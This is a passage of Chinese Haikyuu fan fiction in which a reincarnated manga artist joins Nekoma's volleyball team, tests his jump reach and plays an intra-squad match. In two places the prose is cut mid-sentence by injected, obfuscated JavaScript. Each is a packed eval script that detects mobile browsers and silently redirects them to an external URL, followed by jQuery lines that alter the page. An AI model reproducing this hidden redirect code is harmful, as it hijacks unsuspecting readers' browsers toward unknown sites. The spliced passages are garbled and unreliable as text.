他在状态极佳的木兔前辈上感受过这股气势,仿佛只要有那个人站在那里,场上的所有人都相信着下一球必然能够拿下。
与其说是气场,不如说是十足的威慑力——他全身都散发着那股对自己身为王牌的无畏与笃定,迷人又夺目。
风助火势。
当王牌在场上发光时,队伍里的其他人就会自发地冒出越战越勇的想法。
——给他托球。
赤苇身上的每一个细胞都在重复着这句话,年轻二传手手中的排球仿佛被点燃的火炬一般烫手,他下意识地把球高高抛起,将排球笔直往约定的前方托去。
他听见一阵清脆的踏步声。
随之而来是一道无与伦比的黑色。
时间仿佛静止,世界上中上只留有那一抹亮眼的黑色。
几乎是在一瞬之间,伊吹天满从后排闪到网下,像一阵突如其来的狂风卷席着暴雨,手臂以最大幅度夸张地后扬着,舒展的肩膀后仿佛伸出漆黑的羽翼。
——好美。
赤苇京治找不到其他形容词来形容这个美丽的跳跃,手臂宛如飞鸟的双翼,向上——再向上——以一阵难以抗拒的气势逆着重力冲上半空。
这个人天生是属于高空的——赤苇京治的脑海里只剩下一句话。
天满从空中落到地上,小跑过去回放刚才的录像。
“让我看看。”视频里,他的手臂横扫击中球,球打在木兔的手掌上,反弹出界。
“嗯……感觉还行,我们从另一边再录一次,赤苇你换到这边站。”
这是现在的重点吗!
录素材怎么能是此时此刻的重点吗!
——原来排球漫画家真会打排球啊!
赤苇京治觉得自己的吐槽欲达到了一个难以置信的巅峰,但碍于自己死板的表情无法把内心的愤慨倾诉出出来。
还好,场上另一个枭谷队员的情绪足够外放!
“哇——伊吹,你居然扣得——那么好!”木兔跳至这半场,一把揽住伊吹的身体来个激情击掌。
“哈哈是吗。”天满笑了笑,“看来我宝刀未老啊。”
——你才十六岁,宝刀未老是什么古怪的形容词……
木兔手舞足蹈地形容自己刚刚看到的那一幕:“你是怎么做到——刷——哗啦——砰——啪!好帅!”
“是二传手传得很舒服,我好久没有接过这样厉害的传球。” 天满回头,撩起因为流汗有些难忍的长刘海,深黑色的眼里映着赤苇京治,“谢啦,京治。”
年轻少年显得阳光又自信,让人挪不开视线。
赤苇一顿,他的脸莫名有些发烫。
“把头转过去。”
“啊?”
——不要这么随意对着他散发运动系的魅力!他最心选的王牌是木兔前辈!
赤苇生硬地躲开视线,抑制着自己浓烈的吐槽欲望,转头去搬相机:“赶快拍下一条。”
场面一度很欢乐,可不速之客意外闯入。
“抱歉没什么眼力见地打扰你们的友情互动——所以伊吹天满,你和枭谷这群掉毛的猫头鹰混在一起做什么?”
10. 目标是全国第一
孤身为了命定男主潜入排球部,但在外录素材被当事人抓包是什么样的体验?
谢邀,非常想死捏。
人固有一死,但求你了别让我社死。
他望着黑尾铁朗和孤爪研磨探究意味十足的双眼非常想要切腹自尽。
“你们看到了多少?”在天满的大脑即将死机之时,未来的赤苇编辑挡在他的身前发问,像是老鹰抓小鸡的母鸡妈妈一般,把他死死地保护在身后。
——编辑本弱,为母则刚。
呜呜呜小红,还得是你啊小红!
“该看的都看到了,不该看到的也看到了。”黑尾的手臂架在研磨肩上,露出一个奸诈的笑,“刷——哗啦——砰——啪!”
天满往更后方缩了缩。
“伊吹天满——给我出列!”音驹队长大声命令。
市民排球馆此时宛如警察院的刑讯台,黑尾铁朗越走越近,天满越觉得生还的希望越来越小。
他现在土下座的话能得到原谅吗?莫非真的真的要切腹自尽才可以?
“别为难他了小黑。”研磨用手扯住黑尾的衣袖,“天满只是为了画漫画。”
清汤大老爷!
他是良民啊,一个平平无奇的漫画家良民啊!
等等。
他刚刚说什么?
天满从赤苇后面探出脑袋,不敢置信看着自己的命定男主,不敢置信地问:“你怎么知道我在画漫画?”
“《银月暴击》。”研磨平静地说,“对吧。”
好有杀伤力的一句陈述句。
天满已经想走上音驹高校的天台了。
十分钟后。
“总而言之——伊吹你在初中时看见高中联赛的研磨后一见钟情,把他画成漫画的男主角,为此还考进我们音驹,为了继续收集素材才报名来排球部当经理。”
黑尾简单总结了一遍伊吹天满的心路历程。
“没错没错,我什么坏事都没干。”天满点头如捣蒜,心中有点心虚,“我……顶多用了孤爪前辈的肖像权,对不起!孤爪前辈,如果你不喜欢很烦恼,我现在就和编辑说断更!”
孤爪研磨没什么感觉,他和漫画里的江边又不是一模一样的人。他本人看完之后,并不觉得这是属于他的故事,漫画的主角更多是天满臆想后美化的他,和自己完全不一样。
“……没关系。”研磨实话实说,顿了一下,“你的漫画很有趣。”
呜呜呜。
他的男主太好了,他好爱。
天满的视线太过灼热,研磨没忍住瑟缩一下。
“这根本不是重点。”黑尾铁朗说。
天满不解:“这怎么不是重点?前辈——我真的很需要收集素材画漫画,不要把我赶出排球部。”
“没关系。”赤苇插话,“实在不行,你可以转学来枭谷。”
真的吗!
枭谷真是我们音驹的兄弟学校,又热心又好说话。
——别以为我看不出你在打挖人的主意。
黑尾铁朗额头上青筋狂跳,他一脸阴阳怪气地把伊吹天满这傻小子从枭谷两人身后拉出来,稳当当地拎回自家音驹的阵营。
“收集素材是吧,既然那么想收集,当然欢迎你继续在排球部收集素材,甚至还能提供我们二传手珍贵童年照。” 黑尾耸肩,自己都有点被自己的好心眼感动到,“哈,本人一向慈悲为怀。”
研磨无语地瞪了他一眼。
峰回路转,天满开心极了。
而黑尾队长的下一句话让他的心情瞬间跌回谷底。
“只不过——是以另一个身份。”
天满最开始没有理解意思,直到周一的音驹排球队早训,黑尾铁朗提拎着他的后颈皮站到教练和监督面前时,他才意识到事情没有那么简单。
“伊吹天满,黑尾引荐你加入球队,但一年级的入部申请期已经结束。”直井学监督望着眼前的黑色小卷毛,尴尬地说,“可你本来也算我们排球部的,我不清楚这种情况可不可以破例。”
没事,大胆地拒绝他,他完全不会因此伤心的——伊吹天满努力地用眼色给监督释放信号。
“伊吹天满……”一旁的猫又教练背着手眯着眼睛,嘴里百转千回地念着天满的名字,他大概想了一分钟,这才慢悠悠地问,“你以前打什么位置?”
“主攻手。”隐藏在头发下的纯黑色眼睛暗了暗,“我是主攻手。”
伊吹的样貌和他年轻的时候堪称一模一样,但是很少人会往神神鬼鬼的方向去想。
两人长久地对视着,猫又教练望着这个分外熟悉的身影,仿佛透过天满的身体能看透他最深处的灵魂。
“孩子。”慈眉善目的老人最后拍拍他的肩膀,“是真的愿意来音驹打球吗?”
“……”
问得好。
天满欲哭无泪,他能说有把柄握在黑尾手里吗?
猫又教练露出笑容,没有怪天满欲语还休的拒绝模样,这位老人反而斩钉截铁地继续说。
“如果我告诉你音驹的目标是全国第一,你愿意加入音驹吗?”
全国第一。
天满回望着头发已然花白年老的猫又教练,他在年轻时见过这位教练最为光彩的时刻,但在音驹当经理的日子里,他早就看出这位老人早就褪去过去的锋芒和斗志。
“您认为今年音驹有实力能拿到全国第一吗?”天满问。
直井学眼皮狂跳,音驹当然没有十足的底气——虽然是默认的事实,音驹此时的实力连全国大赛都很难打进,但这个一年级说话可不可以不要说得那么直白。
猫又教练陷入了长时间的沉默,这段沉默让身旁的直井监督甚至要开口帮忙打圆场。
猫又教练抬了抬手,往前一步:“孩子,我不能对你保证,不如说一切的保证都是不切实际的。”
无论是猫咪还是乌鸦,他们都是从垃圾场的泥地中爬出来的靠拾荒而生的落魄者,从没有人相信他们能够战胜那些豪强。
“但我只能肯定地和你说——我们从未放弃过追逐最高处的风景。”
在宇内天满的那辈子,乌野在他的带领下,也只堪堪止步全国十六强。
没有运动选手不愿意去拿冠军,即使他已经毕业十年了。他当时输掉十六强的比赛是什么想法……好像也没什么想法。
乌鸦擅长进攻的空中战,猫咪擅长防守的地面战,他们是契合的对手,相似却不同。
“我们像两条并行的平行线一般不断地在各自的方向上奋力延长着,是宿敌也是挚友,互相打磨着对方,可从未有机会站在同一条战线上。”
当垃圾场的两个天敌「维系」在一起会怎样?没有人想过这个可能性,可事实却摆在眼前。
“这将是离全国第一最近的机会。”
慈祥但威严的老者对他说:“天满,音驹需要你的翅膀。”
像是隔空对话一般,他仿佛看见猫又教练身边站着一个瘦高矍铄的老人,像一座灯塔立在那里。
天满仿佛听见那位教练的声音。
就像是他很小的时候,初中第一次在排球教室里,那位教练对他说的话。
他的身高从小就很矮,没有人看好他能从事这项运动。他在宫城的体育馆,更多时候只能在边界羡慕地看着更高的能跳过网的孩子在学习扣球,而他只能在远处垫球。
——来试试吧。
他被教练从边线外拽进球场。
——在不同人的眼里,排球都不一样。你不用把他当成一个必须分出高低的运动,而是一个所有人都能去尝试的运动。
——高个子又高个子的打法,矮个子也有矮个子的打法。只是用双手击球,没有谁做不到。
最初的鸟儿只有跳下悬崖才能学会飞翔。
他开始学着跳跃,学着击球,当他越发掌握扣球的诀窍,逐渐适应最高空的风景,他看见教练眼里越来越亮的光芒。
——天满,乌野需要你的翅膀。
他追随教练考入乌野高中,可被给予厚望的翅膀并没有如愿以偿,带着教练和队友的心愿走向全国第一,所以八强战输掉的那一刻——自己是什么想法?
「走到全国,走到十六强,我应该做得还不错吧。」
难过,可惜,想哭。
可他意外地发现自己并哭不出来,他低着头从球场走向边线外的教练席,可教练已经预料到他要说什么。
——以后别忘记多和我这个老人家约着打球啊。
他那时候才真正地哭出来。
那时候他的脑海里在想什么?
「结束了。」
此时此刻,他感觉到一股巨力把他重新行边线外拽回排球场——来源于老去的教练,来源于深远的记忆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442989|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,来源于不甘心的一事无成的自己。
“就……试试吧。”
他听见自己的声音不受控制地回响在音驹的排球馆。
“……”
“黑尾,快!趁他没反悔,去拿保证书和印泥,必须让他签字画押。”猫又教练大声密谋,“别让他跑了!”
“早就准备好了!教练!”心有灵犀的黑尾迅速掏出打印好的纸张,“格式正确,一式两份!”
“……”
失算了——这群老谋深算阴险狡诈的猫!
等天满半强迫半愿意地用手指在承诺书上按下手印,音驹排球部便正式地引入新人。
“先来试试摸高吧。”猫又教练心情愉悦,哼着小曲,招呼着年轻人往角落的篮球架走,“我记得你以前摸高至少有330厘米?”
“嗯,当年是差不多。”十年前的事情,天满也记不清了。
夺少?
330厘米?
直井学默默地拿出硬尺,他不信但他想看。
音驹的小猫们也在远处围观许久。
列夫好奇地看了好几眼,他意识到事情似乎在往他希望的方向发展,一时间激动极了:“那是天满吧,他为什么找教练?”
“伊吹要进球队吗?黑尾,听说你引荐的?”夜久问着归队的黑尾。
“别说话,他要测摸高了。”山本猛虎让大家安静。
黑色卷发的少年站在篮球架下起跳,手臂向后高高地扬起,轻轻一跃。
在无数人的注视下,他轻松地跳至330厘米的位置。
“动作僵硬,感觉没活动开身体。”旁边的猫又教练瞧了瞧,“再试一次,天满。”
音驹的其他人惊讶张嘴。
教练!
已经跳到330厘米您还不满足吗!
摸高是指起跳后指尖所触及的最高点,用以测量人的弹跳高度,高中男排选手们都集中在300厘米以上,能跳出330厘米的选手不在少数。
可是那些人的身高都在185厘米以上,而不是只有170厘米的小不点啊!
“好。”天满认真点头,在原地活动活动脚腕,轻轻跳了两下。
然后他宛如炮弹一样起飞,指尖触到更高更高的位置。
——343cm。
计数的直井学瞪大眼睛,不敢置信地看着刚刚天满摸到的距离。
“这样才像样嘛,乌养老家伙的弟子。”
“嗯,弹跳力更好了,但好像体力跟不上。”
一老一少面色平淡地讨论着。
——不是,只有我对此感到非常震惊吗?
直井学望着顶上的数字,合不上嘴地又瞧了好几遍。
这是什么情况,他算是搞不懂现在年轻人的想法了,这就是伊吹嘴里的运动白痴?能跳三百四十厘米的运动白痴?
“体力问题啊,确实比以前瘦很多。”猫又教练不太满意,上手捏了捏天满的胳膊,这孩子看上去和研磨一样又瘦又小,照这样子可能打不满三场比赛。
老爷爷不客气地敲了敲天满的脑袋,严肃指责:“是不是平时作息混乱——年轻人就要好好吃饭、早睡早起、多多运动。”
好苛刻的要求。
根本没有单身独居的职业漫画家能做到“好好吃饭、早睡早起、多多运动”——像他这样保持标准身材没有赘肉已经很不容易了!
“总之今天比别人先多跑两圈吧。”猫又教练毫不手下留情,立刻进入状态,“黑尾,把他带走!记得中午监督他多吃两碗饭。”
“来了,教练!”
他是十年没运动的大龄漫画家啊!有没有给照顾新手的缓冲时机吗?猫又教练怎么和乌养教练都钟爱只要练不死就往死里练的训练方法?
崩溃了家人们。
人到中年,个性难免越来越摆。既然都让他穿越,退一万步讲,他可以再申请一次读档重来可以吗?
能力越大,责任越大。责任越大,责任只会越来越大。
早上上课下午运动晚上肝图,奔三大叔不是体力充沛的年轻劳模,光是想想都觉得前方一片灰暗。
“等等。”猫又教练喊住他。
老教练抬头笑着问他:“你想要几号球衣?”
天满愣了愣。
“十号。”他听见自己的声音毫不犹豫,“我要十号球衣。”
11. 新的开始
“今天有三件事要宣布。”
音驹教练站在最前面。
“首先,如大家所见,我们队伍来了熟悉的新成员。希望所有人好好相处,多照顾照顾学弟。”
“其次,IH只剩下两个月,而全国大赛东京地区的名额虽然有两席——但和我们竞争的学校有上百所。因此近期的训练量会大大增加,希望大家能够坚持下去。”
“最后,这个月底就要期中考试了,除了部活,作为一名学生学校功课也不能落下,如果有学习无法兼顾的困难及时和我还有直井老师说,而在渡过期中考试后,黄金周——我们将要安排一次外出集训,各位回家先取得监护人的同意。”
猫猫们整齐的队伍突然开始有些喧闹。
“集训?”山本十分开心,“又是枭谷组织的吗?”
“大概是吧。”夜久回答,“和我们学校关系还不错的数来数去就枭谷联盟那几所。”
猫又教练拍了拍手,让全场安静。
“集训地点是......”他故意停顿十秒,给孩子们吊足胃口:“——宫城县。”
天满一愣,年纪最大的三年级们也一愣。
“宫城县啊。”三年级们摩拳擦掌,“这下子我们这段时间得加强训练啊。”
“宫城县很特别吗?”芝山疑惑。
“那里也有另外一位「没落的豪强」。”副部长海原信为他解释,“其实我们也是从以前的学长听来的,在宫城县有我们音驹的宿敌——乌野高中。因为教练的缘故,我们两校的关系非常好,我们两校有过无数次的练习赛。可在两边教练引退之前,两个学校都未能在正式赛场上交手过,之后还特别巧……都走向衰退。”
“据说无论是他们来东京,还是我们去宫城,每次两校合办的远征集训都会有长足的进步。”夜久前辈接过话茬,伸出一根手指,“虽然没有能在赛场上相遇,我们两校的练习赛在排球爱好者还挺受欢迎,甚至专门有一个非常帅气的别称。”
“是什么?是什么?”列夫好奇地问。
一个平淡的声音在列夫边上响起。
“猫对乌鸦——垃圾场大决战。”天满一字一句地回答。
教练和监督宣布完事情,再安排完今日的训练日程,接下来就是队员们的自主训练。
天满被黑尾铁朗推至排球部队伍的最前方。
“来吧,重新给大家做一次自我介绍,还有改改你诈骗一般的入队宣言。”
自我介绍?为什么还有这种i人地狱的环节?
天满往前方扫视一圈音驹的成员,所有人的目光都好奇地集中在他身上。
“呃……一年三组,伊吹天满,入队宣言是……请大家多多支持《银月暴击》!”
“你还是闭嘴吧。”黑尾狠狠地给了他脑袋一个暴击。
虽然这句自我介绍云里雾里,但在黑尾的解释和天满的补充中,音驹的其他人总算了解这跌宕起伏的剧情走向和伊吹天满别具一格的脑回路。
山本猛虎捂着脑袋:“别吵,我在思考。”
“小时候学的排球,初中画排球漫画,高中为了连载月刊在音驹取材。”福永精准概括了伊吹天满波澜壮阔的人生履历(全是宇内结合日记编的)。
猫猫们非常无语。
——怎么有人会干出这种事情啊!
是不是觉得这件事很荒谬,但这荒谬之事的始作俑者根本不是我啊!而且最荒谬的穿越部分已经被好心的我省略掉了——天满扶额苦笑。
“总而言之,这家伙以后就要跟着我们训练。”黑尾说,“别大惊小怪了,排好队开始早训跑步。”
伊吹天满这具身体底子虽然不错,但实在虚弱。
音驹的早训时间中,所有队员要围着音驹旁边的河堤来回跑三圈,而被猫又教练特殊关照的天满需要跑五圈,而这一圈至少整整一公里。
——救命。
——他大学之后被抽到校园长跑比赛后,再也没有跑过一千米以上的距离了。
孤爪研磨向来是长跑队伍里面最末一位的选手,和倒数第二能差出一圈多,摇摇晃晃地坠在队伍的最后,而今天他的身边竟然拥有了一个比他更慢的同伴。
“你的体力和你的摸高差距很大。”研磨还有点力气能进行客观评价。
“不是……孤爪前辈……你是怎么……一边说话……一边跑步的。”天满气喘吁吁,“……我感觉……我的肺……要炸了。”
孤爪研磨第一次在运动社团见到体能比自己还渣的人。
不过也不意外,虽然他在体育生里体能是最差的那一批,但在和普通人相比也算得上还行。
而伊吹天满从初中开始天天闷在家里不出门,在普通人里面都算中等偏下。
“还有两圈。”研磨跑完自己的最后一圈,在终点线上站定,“加油。”
他听着天满喊着“好……想……死……”渐渐远去后,没忍住轻轻笑了笑。
研磨上学期也被重新执教的猫又教练逼着进行体力特训,经历长达一周的特训后,这位老教练无奈地发现他真的毫无长进,这才放弃逼迫他每天多跑两圈。
风水轮流转,这次轮到别人受罪。
伊吹天满与他不一样,音驹的其他球员可以帮助二传手减少移动量,但绝对无法代替一个攻手进行跳跃。
三局两胜的攻防战里,主攻手至少要起跳上百次。
这么想来,当年小黑忽悠自己去打二传,说二传是个不怎么需要动的位子,也不是算弥天大谎。
下午的正式训练,猫又教练决定用6V6队内练习赛,让大家以更直观的形式适应新队员的加入。
音驹排球部以前只打过内部的3V3攻防战,以前共有十个部员,现在加上新队员伊吹天满,仍然不够人数。
“大家是不是都忘了,音驹的监督以前也是排球部的部员啊。”猫又教练拍了拍旁边高大男子的肩膀。
“虽然身体反应没有你们年轻人强,但是一场练习赛还是没有问题的。”直井学爽朗地笑着,“我以前是二传,但鉴于我们已经拥有两个二传,那我就来补上主攻手的位置。”
音驹的6V6中自由人长期驻场于后排六号位,其他选手还与正常比赛一样根据发球顺时针轮换。
猫又教练接下来分配了两边的队员,并且任由两边的小队自己商量站位。
红色方——海信行、孤爪研磨(二传)、灰羽列夫、芝山优生(自由人)、伊吹天满、直井学。
蓝色方——黑尾铁朗、夜久卫辅(自由人)、山本猛虎、福永招平、犬冈走、手百球彦(二传)。
“唉,不练习却直接比赛吗?”
“研磨,别还没开始就先叹气啊。”黑尾隔着球网说。
对面那么多正选,阵容明显有失偏驳……孤爪研磨将视线移向自己队伍里完全没配合过的两个人——前经理伊吹天满和监督直井学,他不免开始觉得心累。
两边都选择让二传站至前排中央的三号位,而副攻手和主攻手分别对角线站位。部长黑尾和副部长海进行猜拳后,由红色方胜利率先发球。
红色方相对保守,一号发球位的队员是海信行,音驹三年级的沉稳主攻。
“海前辈,来个好球!”列夫说。
这位和尚头在发球线后长呼一口气,助跑两步起跳——是个大力跳发。
蓝色方的正选队员更多,也意味着防守能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442990|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力更强。
“手白!”自由人夜久轻松地接下一传,传给一年级的替补二传。
虽说是孤爪的替补,但是从初中便在排球部的手百球彦的基本功到位,判断蓝色方攻手的位置后立刻传给最适合的攻手——音驹的重炮山本猛虎。
“组织拦网!”
左翼立刻跳起灰羽列夫和海原信,想要拦下对面的扣球。
“瞧好了!”他大力挥动手臂打斜线攻击,从两人张开的手臂之间的空隙中,狠狠地砸向对面的地板。
芝山早已恭候多时,这一个月被夜久前辈带着训练,加之初中养成的运动意识,也接过很多次部门里前辈们的扣球。他依靠着身体反应迅速判断落点,一个鱼跃过去把球救起。
“Nice!芝山!”
排球第一次飞旋至红色方的二传手上方。
他不用想都明白教练的深意,猫又教练想直观地看看他与伊吹天满的实战配合。
他余光侧移,处于后排五号位的伊吹天满正在助跑。
——直接试一试新人好了。
摸高是343厘米,赛场中起跳会再低一些,那么大概是这个高度。
他毫不犹豫地上手传球,连视线诱导也没用,像是测试角色的强度一般,以一个弧度传到伊吹天满的上方高空。
“左翼拦网——”
黑尾铁朗和手白高高跃起,以双人拦网想要直接拦下这个球!
天满其实自认为不是思维敏捷的球员,只是一跃到高空中,重力带来的下坠感会让他的视野异常开阔,场上一切变成清晰可见的慢动作,无论是拦网者的手指还是场上球员的位置都一览无疑。
这就是他的自信——在属于他的空中领域,他一定能看清防守。
天满的眼前赫然横着四只手臂。
上次枭谷的练习赛中,他就发觉音驹的拦网实力很强,其中最优秀的便是主将黑尾铁朗。无论是身高还是技术,他都是一等一的强硬,如同铜墙铁壁一样横在攻手的面前。
吊球、反弹球、斜线……他的脑海里闪过各种不同的球路。这是他在音驹接到的第一颗球,那么就应该要打个最爽快最直接的开门红。
——有机会。
他飞速地腾空而起,扬起自如的笑容,只见一击扣球瞄准着正上方黑尾的指尖,气势汹汹地打下去。
打手!直接出界!
排球直击拦网选手的手指,向右后方反弹,重重地落在身后的界外。
黑尾铁朗感受着球与手指的撞击感余温,带着外旋力摩擦时的酸麻,一双眼睛直勾勾地望着这边。
“哎~”
“怎么了部长……”天满小步后撤。
他嘴角夸张地上扬着,俯下身抓住球网:“我刚刚确认了一件很重要的事情哦。”
这位前辈的眉毛天生短且上挑,所以显得分外邪气。
“打手出界——这一招原来是你教给列夫的。”
“……”
“你知道吗?列夫一次,居民排球馆一次。”音驹的主将隔着球网的网洞做出一个砍头的动作,笑得非常张狂,“加上这次,事不过三——我好像已经能看清你的球路了。”
而黑尾身后,在阴影中一只又一只的兽瞳亮起,夜久、山本、福永、手白、犬冈……他们的眼睛死死地盯着红方一侧。
音驹的猫是杂食动物,他们会用眼睛、用大脑、用身体去观察每一个动作,去记住每一个进攻,一点一点地剖析敌人的能力化为己用,像猫的利爪将猎物开膛破肚。
“只是这种程度,看来是赢不了我们啊。”
天满无端地升起一身冷汗。
——不对劲,十分有十二分的不对劲
12. 偏差的对白
打手出界是依靠旋转力来改变球的反弹方向,知道原理后应对的机制其实不难。
一是手掌拦网,向上推球来卸掉旋转的力道,变为一触。二是避开扣球,将横打外旋的球路避开,让球无触出界。三是一传补救,飞奔至界外救回落球。
前两个方法对上前拦网的选手要求很高,手掌能防御的距离比整个手臂要窄小很多,这需要选手真正地看清进攻的球路,准确地进行防守。最后的方法则是对后排防守成员的考验,他们需要在球落地前将它打回主场。
猫又教练想到这里笑了笑。
——在音驹引以为傲的严防下,小巨人还敢用他的成名技吗?
还是红色方的发球回合。
排球直直地射向对面,被犬冈垫起,再次由二传组织下一步进攻。
“梯次进攻!”
这是音驹非常擅长的打法,由前排的队员先起跳以快攻骗开拦网,再由后排的队员正式击球,二三年级的所有攻手都能默契配合这个战术。
后排击球的福永直直打向孤爪研磨的左侧面,这个位置不仅能借助研磨的位置而拦住对面的自由人,还是因为他知道自家正选二传接球的低积极性。
“研磨——”救球的竟是直井监督,虽然他快奔三,但作为曾经的音驹球员,接扣球是最基本的基本功。
球再次腾飞。
后排。
孤爪研磨迅速决定出此时的最好进攻方式——从后排起跳的海信行,这个位置可以一试。
“是后排进攻!”
“拦网!”
因为后排进攻的打击点靠后,球至网前的位置偏低偏慢,组织拦网是个最好的应对手段。
黑尾铁朗和福永刚刚打完梯形进攻,又迅速原地蹬地再次高高跃起,手掌像是巨网般张开,这次能拦下!
排球沉重地与他们的手臂发出一声闷响,反弹过球网,直直地以刁钻狭小的角度跌落。
一个身影从研磨身前跃至另一侧——是天满。
“孤爪前辈!”他用手掌把球击起,撑手臂迅速爬起后撤防御,“抱歉,位置有点低。”
——他有着和音驹其他人一样柔韧的身体,鱼跃和卸力的动作虽有些僵硬,但还算合格。
研磨默默观察着,新来的队友的确有较强的排球基础,刚刚的动作宛如自由人一般,但出于很久没打,爬起来时居然踉跄一下。
上扬的球离研磨自己很近,而此时蓝色方的拦网选手恰恰落下,还需要再次起跳才能拦网。
这是可以利用的时间差。
孤爪研磨后退半步,原地起跳。
二传直接扣球!孤爪研磨没有选择传给其他人,而是伸手用自己离网近的优势,趁着对方拦网的空档期,往空隙处轻轻一扣。
倒退往后跑的天满刚好看见排球在视线正前方落地。
“哇。”他站起身感叹道,从经理时期的观察中,孤爪研磨能不动就不动,从来不主动扣球,“前辈居然会扣球。”
“呃……我姑且也算个活人。”
短暂的停歇结束,由于红方接连砍下两分,发球权还是在他们手里。
看着排球迅速被对方救起,再次打回来,又被我方打上天,研磨的眼睛盯着落至自己附近的那颗球,他的眸间场上红蓝双方所有人的位置。
前排已有三人开始移动,黑尾是最认真的那一个,他在潜心判断究竟那里才是会红方进攻的点位。
——如果他是研磨,此刻会在想什么。
音驹的打法是厚积薄发的,先观察敌方的手段和底牌,然后再逐步发起进攻。但这次练习赛不同,孤爪研磨很了解蓝方的球路和技法,反之他所在的红方却有两个完全不熟悉的不定时炸弹。
——如果是研磨,宁愿暂时丢分,现在一定会不断地测试新角色的技能和潜力。
“左翼!”在研磨的手接触到排球的那一刻,黑尾铁朗迅速判断出位置,“去拦伊吹!”
明明另一方有更明显的防守漏洞,果真这一次孤爪研磨还是选择了伊吹天满。
这个球传得过高?
还未起跳的天满瞬间就察觉到了高度的变化,他无奈地看着前方——已然出现着三个高大的身影。音驹的大脑怎么了?面对明显的防守针对居然还要传给自己吗?
他的眼眸与另一侧的孤爪研磨对视,金色的猫瞳闪过刹那明亮如星的光芒,唇角对他笑了一下,像是一种示威般的挑衅。
音驹的二传仿佛在故意说——托到这个位置,你能做到吗?
“……”好吧。
他的手臂后扬,像是翅膀挥动一般,用最大力度蹬地。
——那就跳给你看。
明明场上的大多数人都要矮小,此刻的那位攻手突然依靠着双腿双臂拔起一个神乎其神的高度,冲上高空,硬生生借着傲人的高度和强大的滞空力,居高临下地俯视着比他更高更高的拦网者们。
——就像小巨人一样。
那是一个只能用「高昂」去形容的直线球。
飞吧,飞到空中,去破开一条无人阻挡的通路。
球速不快,攻势也不强,即使面对着三人拦网,但偏偏没有一个拦网者的手指能够碰到这发直截了当的扣球,任由着笔直向前的斜线球避开自由人的跳跃区间,往球场的后方死角落下,刁钻地击打着蓝色方的边线。
“前辈。”球网后是一双压迫力十足的黑眼,认真又冷漠地奉还原话,“只有这种程度,看来是追不上我的。”
猫又教练举起旗子判给红色方,第三轮攻防战再次红色方砍下。
“伊吹做得好!”
“你这小子跳得真高啊!”
红方球员高兴地抱向天满(研磨除外,他不想动),而这位得分的主角正蹲在地上自闭,崩溃地懊恼于自己上头,居然对着理论上小很多的前辈说出那么中二的垃圾话。
好尴尬。
——洗了蒜了,这么多年打球上头的毛病还没改。
蓝色方的气势悄然改变,部长黑尾捡起排球丢给对面,但脸上却丝毫不见连输三球的紧迫,而更是燃起一种极致的兴奋感。
所谓王牌,本是形容主打左翼的选手,但在高中联赛里更多去称呼在逆境时也能逆流而上破开防线的人,在困厄中也能让队友对胜利深信不疑的人。
黑尾深知自己不是这样的人,他最多也仅能作为主将鼓舞着队友们的斗志,但他并不拥有成为王牌的潜能。
而他的眼前站立着一位王牌。
“全国第一。”
他此刻毫不怀疑地相信——音驹能走向全国第一。
“这耀眼的才能啊……”
这场队内练习赛最终以25:16告终,蓝色方胜利。
意外吧,蓝色方也很意外自己能大比分领先。
他们万万没想到拖累红方的竟然是最开始大放异彩的伊吹天满,从半局开始这家伙就一副累成狗的随时会猝死的模样。
他的体力耗尽导致本该三局两胜的比赛最后只打了一局中途结束。
黑尾皱着眉头来到另一方场地,蹲在地上望着瘫在地上的那个人,他收回前言,他觉得自己刚刚对音驹的未来高兴得实在太早。
“伊吹,你的体力怎么可以比研磨还烂呢?”他恨铁不成纲地吐槽着,往旁边一指,“就研磨那样,都能坚持打完三局比赛。”
孤爪研磨默默抬头:“小黑你好像把我一起骂了。”
“……你在希望一个天天窝在家里的漫画家能连续跑跳三十分钟。”天满抓狂,“做不到,怎么想都做不到吧!你们还那么顽强,每一分都要打好几个来回。”
音驹的确是非常擅长接球,但体系内一直缺乏稳定的得分点。
无论是三年级的海,还是二年级山本和福永,他们都依赖于二传的战术和一传的补救进行拉锯战式的缓慢得分,他们离队伍的王牌都差一步——独一无二的压制力。
而伊吹让他看到了——只要在他的射程之内,只要把球传给王牌,他能单靠横冲直撞的扣球击败铁壁般的拦网!
但是凡事总有万一。
黑尾要被这起起落落落落落的心情气笑了。
好不容易等来一个王牌主攻手,一个足以破开拦网的主攻手,但好巧不巧这家伙似乎有个致命的弱点——伊吹天满这形同虚设的体力根本打不满全场比赛!
救命!以后血液们不仅要精准扶贫自家大脑,又多了一个要操心的破绽。
“前方迎接你的是地狱啊,伊吹。”队长冷面无情地通知道。
“啊?”天满不解。
音驹对待主攻手和二传手完全不一样,二传手是拿来宠的,但主攻手必须往死里练。
天满几乎被所有猫猫们重点盯防,早上猛虎前辈分别会监督他跑步举重,中午黑尾派列夫和犬冈强迫他摄入足够的营养,下午由猫又教练和直井监督做主,专门他安排独一无二的斯巴达式的强训。
——这简直是拔苗助长!
“我强烈要求攻手和二传同工同酬!”他每次看到休息时间孤爪前辈能玩游戏,他就羡慕得不得了。
明明都是体育渣,为什么要区别对待!
天满抗议,但抗议无效。
